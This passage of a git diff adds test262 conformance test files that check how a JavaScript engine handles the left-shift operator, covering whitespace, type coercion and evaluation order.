+}
+
+//CHECK#4
+if (eval("1\u0020<<\u00201") !== 2) {
+ $ERROR('#4: 1\\u0020<<\\u00201 === 2');
+}
+
+//CHECK#5
+if (eval("1\u00A0<<\u00A01") !== 2) {
+ $ERROR('#5: 1\\u00A0<<\\u00A01 === 2');
+}
+
+//CHECK#6
+if (eval("1\u000A<<\u000A1") !== 2) {
+ $ERROR('#6: 1\\u000A<<\\u000A1 === 2');
+}
+
+//CHECK#7
+if (eval("1\u000D<<\u000D1") !== 2) {
+ $ERROR('#7: 1\\u000D<<\\u000D1 === 2');
+}
+
+//CHECK#8
+if (eval("1\u2028<<\u20281") !== 2) {
+ $ERROR('#8: 1\\u2028<<\\u20281 === 2');
+}
+
+//CHECK#9
+if (eval("1\u2029<<\u20291") !== 2) {
+ $ERROR('#9: 1\\u2029<<\\u20291 === 2');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029<<\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 2) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029<<\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 2');
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T1.js
new file mode 100644
index 000000000..e1066f118
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y uses GetValue
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (2 << 1 !== 4) {
+ $ERROR('#1: 2 << 1 === 4. Actual: ' + (2 << 1));
+}
+
+//CHECK#2
+var x = 2;
+if (x << 1 !== 4) {
+ $ERROR('#2: var x = 2; x << 1 === 4. Actual: ' + (x << 1));
+}
+
+//CHECK#3
+var y = 1;
+if (2 << y !== 4) {
+ $ERROR('#3: var y = 2; 2 << y === 4. Actual: ' + (2 << y));
+}
+
+//CHECK#4
+var x = 2;
+var y = 1;
+if (x << y !== 4) {
+ $ERROR('#4: var x = 2; var y = 1; x << y === 4. Actual: ' + (x << y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 2;
+objecty.prop = 1;
+if (objectx.prop << objecty.prop !== 4) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 2; objecty.prop = 1; objectx.prop << objecty.prop === 4. Actual: ' + (objectx.prop << objecty.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T2.js
new file mode 100644
index 000000000..1d6dcee60
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y uses GetValue
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x << 1;
+ $ERROR('#1.1: x << 1 throw ReferenceError. Actual: ' + (x << 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x << 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T3.js
new file mode 100644
index 000000000..b33c6c680
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y uses GetValue
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 << y;
+ $ERROR('#1.1: 1 << y throw ReferenceError. Actual: ' + (1 << y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 << y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.2_T1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.2_T1.js
new file mode 100644
index 000000000..b0403a9fb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y uses [[Default Value]]
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 1}} << 1 !== 2) {
+ $ERROR('#1: {valueOf: function() {return 1}} << 1 === 2. Actual: ' + ({valueOf: function() {return 1}} << 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 1}, toString: function() {return 0}} << 1 !== 2) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} << 1 === 2. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} << 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 1}, toString: function() {return {}}} << 1 !== 2) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} << 1 === 2. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} << 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 1}, toString: function() {throw "error"}} << 1 !== 2) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} << 1 === 2. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} << 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 1}, toString: function() {throw "error"}} << 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 1}, toString: function() {throw "error"}} << 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 << {toString: function() {return 1}} !== 2) {
+ $ERROR('#5: 1 << {toString: function() {return 1}} === 2. Actual: ' + (1 << {toString: function() {return 1}}));
+}
+
+//CHECK#6
+if (1 << {valueOf: function() {return {}}, toString: function() {return 1}} !== 2) {
+ $ERROR('#6: 1 << {valueOf: function() {return {}}, toString: function() {return 1}} === 2. Actual: ' + (1 << {valueOf: function() {return {}}, toString: function() {return 1}}));
+}
+
+//CHECK#7
+try {
+ 1 << {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: 1 << {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (1 << {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 << {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 << {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 << {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 << {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 << {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.3_T1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.3_T1.js
new file mode 100644
index 000000000..e06852489
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x << y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x << y throw "x". Actual: ' + (x << y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x << y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T1.js
new file mode 100644
index 000000000..1beb86794
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) << x !== 2) {
+ $ERROR('#1: var x = 0; (x = 1) << x === 2. Actual: ' + ((x = 1) << x));
+}
+
+//CHECK#2
+var x = 0;
+if (x << (x = 1) !== 0) {
+ $ERROR('#2: var x = 0; x << (x = 1) === 0. Actual: ' + (x << (x = 1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T2.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T2.js
new file mode 100644
index 000000000..e44dd956a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() << y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() << y() throw "x". Actual: ' + (x() << y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() << y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T3.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T3.js
new file mode 100644
index 000000000..ed53451ac
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x << (x = 1);
+ $ERROR('#1.1: x << (x = 1) throw ReferenceError. Actual: ' + (x << (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x << (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) << y !== 2) {
+ $ERROR('#2: (y = 1) << y === 2. Actual: ' + ((y = 1) << y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.1.js
new file mode 100644
index 000000000..5e1e84696
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true << true !== 2) {
+ $ERROR('#1: true << true === 2. Actual: ' + (true << true));
+}
+
+//CHECK#2
+if (new Boolean(true) << true !== 2) {
+ $ERROR('#2: new Boolean(true) << true === 2. Actual: ' + (new Boolean(true) << true));
+}
+
+//CHECK#3
+if (true << new Boolean(true) !== 2) {
+ $ERROR('#3: true << new Boolean(true) === 2. Actual: ' + (true << new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) << new Boolean(true) !== 2) {
+ $ERROR('#4: new Boolean(true) << new Boolean(true) === 2. Actual: ' + (new Boolean(true) << new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.2.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.2.js
new file mode 100644
index 000000000..06d8dca64
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 << 1 !== 2) {
+ $ERROR('#1: 1 << 1 === 2. Actual: ' + (1 << 1));
+}
+
+//CHECK#2
+if (new Number(1) << 1 !== 2) {
+ $ERROR('#2: new Number(1) << 1 === 2. Actual: ' + (new Number(1) << 1));
+}
+
+//CHECK#3
+if (1 << new Number(1) !== 2) {
+ $ERROR('#3: 1 << new Number(1) === 2. Actual: ' + (1 << new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) << new Number(1) !== 2) {
+ $ERROR('#4: new Number(1) << new Number(1) === 2. Actual: ' + (new Number(1) << new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.3.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.3.js
new file mode 100644
index 000000000..400362c34
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" << "1" !== 2) {
+ $ERROR('#1: "1" << "1" === 2. Actual: ' + ("1" << "1"));
+}
+
+//CHECK#2
+if (new String("1") << "1" !== 2) {
+ $ERROR('#2: new String("1") << "1" === 2. Actual: ' + (new String("1") << "1"));
+}
+
+//CHECK#3
+if ("1" << new String("1") !== 2) {
+ $ERROR('#3: "1" << new String("1") === 2. Actual: ' + ("1" << new String("1")));
+}
+
+//CHECK#4
+if (new String("1") << new String("1") !== 2) {
+ $ERROR('#4: new String("1") << new String("1") === 2. Actual: ' + (new String("1") << new String("1")));
+}
+
+//CHECK#5
+if ("x" << "1" !== 0) {
+ $ERROR('#5: "x" << "1" === 0. Actual: ' + ("x" << "1"));
+}
+
+//CHECK#6
+if ("1" << "x" !== 1) {
+ $ERROR('#6: "1" << "x" === 1. Actual: ' + ("1" << "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.4.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.4.js
new file mode 100644
index 000000000..f96d4eee5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (null << undefined !== 0) {
+ $ERROR('#1: null << undefined === 0. Actual: ' + (null << undefined));
+}
+
+//CHECK#2
+if (undefined << null !== 0) {
+ $ERROR('#2: undefined << null === 0. Actual: ' + (undefined << null));
+}
+
+//CHECK#3
+if (undefined << undefined !== 0) {
+ $ERROR('#3: undefined << undefined === 0. Actual: ' + (undefined << undefined));
+}
+
+//CHECK#4
+if (null << null !== 0) {
+ $ERROR('#4: null << null === 0. Actual: ' + (null << null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.5.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.5.js
new file mode 100644
index 000000000..a548852a9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T1.5.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} << function(){return 1}) !== 0) {
+ $ERROR('#1: ({} << function(){return 1}) === 0. Actual: ' + (({} << function(){return 1})));
+}
+
+//CHECK#2
+if ((function(){return 1} << {}) !== 0) {
+ $ERROR('#2: (function(){return 1} << {}) === 0. Actual: ' + ((function(){return 1} << {})));
+}
+
+//CHECK#3
+if ((function(){return 1} << function(){return 1}) !== 0) {
+ $ERROR('#3: (function(){return 1} << function(){return 1}) === 0. Actual: ' + ((function(){return 1} << function(){return 1})));
+}
+
+//CHECK#4
+if (({} << {}) !== 0) {
+ $ERROR('#4: ({} << {}) === 0. Actual: ' + (({} << {})));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.1.js
new file mode 100644
index 000000000..3865695e1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true << 1 !== 2) {
+ $ERROR('#1: true << 1 === 2. Actual: ' + (true << 1));
+}
+
+//CHECK#2
+if (1 << true !== 2) {
+ $ERROR('#2: 1 << true === 2. Actual: ' + (1 << true));
+}
+
+//CHECK#3
+if (new Boolean(true) << 1 !== 2) {
+ $ERROR('#3: new Boolean(true) << 1 === 2. Actual: ' + (new Boolean(true) << 1));
+}
+
+//CHECK#4
+if (1 << new Boolean(true) !== 2) {
+ $ERROR('#4: 1 << new Boolean(true) === 2. Actual: ' + (1 << new Boolean(true)));
+}
+
+//CHECK#5
+if (true << new Number(1) !== 2) {
+ $ERROR('#5: true << new Number(1) === 2. Actual: ' + (true << new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) << true !== 2) {
+ $ERROR('#6: new Number(1) << true === 2. Actual: ' + (new Number(1) << true));
+}
+
+//CHECK#7
+if (new Boolean(true) << new Number(1) !== 2) {
+ $ERROR('#7: new Boolean(true) << new Number(1) === 2. Actual: ' + (new Boolean(true) << new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) << new Boolean(true) !== 2) {
+ $ERROR('#8: new Number(1) << new Boolean(true) === 2. Actual: ' + (new Number(1) << new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.2.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.2.js
new file mode 100644
index 000000000..363ee7234
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" << 1 !== 2) {
+ $ERROR('#1: "1" << 1 === 2. Actual: ' + ("1" << 1));
+}
+
+//CHECK#2
+if (1 << "1" !== 2) {
+ $ERROR('#2: 1 << "1" === 2. Actual: ' + (1 << "1"));
+}
+
+//CHECK#3
+if (new String("1") << 1 !== 2) {
+ $ERROR('#3: new String("1") << 1 === 2. Actual: ' + (new String("1") << 1));
+}
+
+//CHECK#4
+if (1 << new String("1") !== 2) {
+ $ERROR('#4: 1 << new String("1") === 2. Actual: ' + (1 << new String("1")));
+}
+
+//CHECK#5
+if ("1" << new Number(1) !== 2) {
+ $ERROR('#5: "1" << new Number(1) === 2. Actual: ' + ("1" << new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) << "1" !== 2) {
+ $ERROR('#6: new Number(1) << "1" === 2. Actual: ' + (new Number(1) << "1"));
+}
+
+//CHECK#7
+if (new String("1") << new Number(1) !== 2) {
+ $ERROR('#7: new String("1") << new Number(1) === 2. Actual: ' + (new String("1") << new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) << new String("1") !== 2) {
+ $ERROR('#8: new Number(1) << new String("1") === 2. Actual: ' + (new Number(1) << new String("1")));
+}
+
+//CHECK#9
+if ("x" << 1 !== 0) {
+ $ERROR('#9: "x" << 1 === 0. Actual: ' + ("x" << 1));
+}
+
+//CHECK#10
+if (1 << "x" !== 1) {
+ $ERROR('#10: 1 << "x" === 1. Actual: ' + (1 << "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.3.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.3.js
new file mode 100644
index 000000000..182b1fbd2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 << null !== 1) {
+ $ERROR('#1: 1 << null === 1. Actual: ' + (1 << null));
+}
+
+//CHECK#2
+if (null << 1 !== 0) {
+ $ERROR('#2: null << 1 === 0. Actual: ' + (null << 1));
+}
+
+//CHECK#3
+if (new Number(1) << null !== 1) {
+ $ERROR('#3: new Number(1) << null === 1. Actual: ' + (new Number(1) << null));
+}
+
+//CHECK#4
+if (null << new Number(1) !== 0) {
+ $ERROR('#4: null << new Number(1) === 0. Actual: ' + (null << new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.4.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.4.js
new file mode 100644
index 000000000..2a4836aa5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (1 << undefined !== 1) {
+ $ERROR('#1: 1 << undefined === 1. Actual: ' + (1 << undefined));
+}
+
+//CHECK#2
+if (undefined << 1 !== 0) {
+ $ERROR('#2: undefined << 1 === 0. Actual: ' + (undefined << 1));
+}
+
+//CHECK#3
+if (new Number(1) << undefined !== 1) {
+ $ERROR('#3: new Number(1) << undefined === 1. Actual: ' + (new Number(1) << undefined));
+}
+
+//CHECK#4
+if (undefined << new Number(1) !== 0) {
+ $ERROR('#4: undefined << new Number(1) === 0. Actual: ' + (undefined << new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.5.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.5.js
new file mode 100644
index 000000000..fa8652c5b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) or Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true << "1" !== 2) {
+ $ERROR('#1: true << "1" === 2. Actual: ' + (true << "1"));
+}
+
+//CHECK#2
+if ("1" << true !== 2) {
+ $ERROR('#2: "1" << true === 2. Actual: ' + ("1" << true));
+}
+
+//CHECK#3
+if (new Boolean(true) << "1" !== 2) {
+ $ERROR('#3: new Boolean(true) << "1" === 2. Actual: ' + (new Boolean(true) << "1"));
+}
+
+//CHECK#4
+if ("1" << new Boolean(true) !== 2) {
+ $ERROR('#4: "1" << new Boolean(true) === 2. Actual: ' + ("1" << new Boolean(true)));
+}
+
+//CHECK#5
+if (true << new String("1") !== 2) {
+ $ERROR('#5: true << new String("1") === 2. Actual: ' + (true << new String("1")));
+}
+
+//CHECK#6
+if (new String("1") << true !== 2) {
+ $ERROR('#6: new String("1") << true === 2. Actual: ' + (new String("1") << true));
+}
+
+//CHECK#7
+if (new Boolean(true) << new String("1") !== 2) {
+ $ERROR('#7: new Boolean(true) << new String("1") === 2. Actual: ' + (new Boolean(true) << new String("1")));
+}
+
+//CHECK#8
+if (new String("1") << new Boolean(true) !== 2) {
+ $ERROR('#8: new String("1") << new Boolean(true) === 2. Actual: ' + (new String("1") << new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.6.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.6.js
new file mode 100644
index 000000000..4f5d8c668
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" << undefined !== 1) {
+ $ERROR('#1: "1" << undefined === 1. Actual: ' + ("1" << undefined));
+}
+
+//CHECK#2
+if (undefined << "1" !== 0) {
+ $ERROR('#2: undefined << "1" === 0. Actual: ' + (undefined << "1"));
+}
+
+//CHECK#3
+if (new String("1") << undefined !== 1) {
+ $ERROR('#3: new String("1") << undefined === 1. Actual: ' + (new String("1") << undefined));
+}
+
+//CHECK#4
+if (undefined << new String("1") !== 0) {
+ $ERROR('#4: undefined << new String("1") === 0. Actual: ' + (undefined << new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.7.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.7.js
new file mode 100644
index 000000000..da246f173
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y returns ToNumber(x) << ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A3_T2.7.js
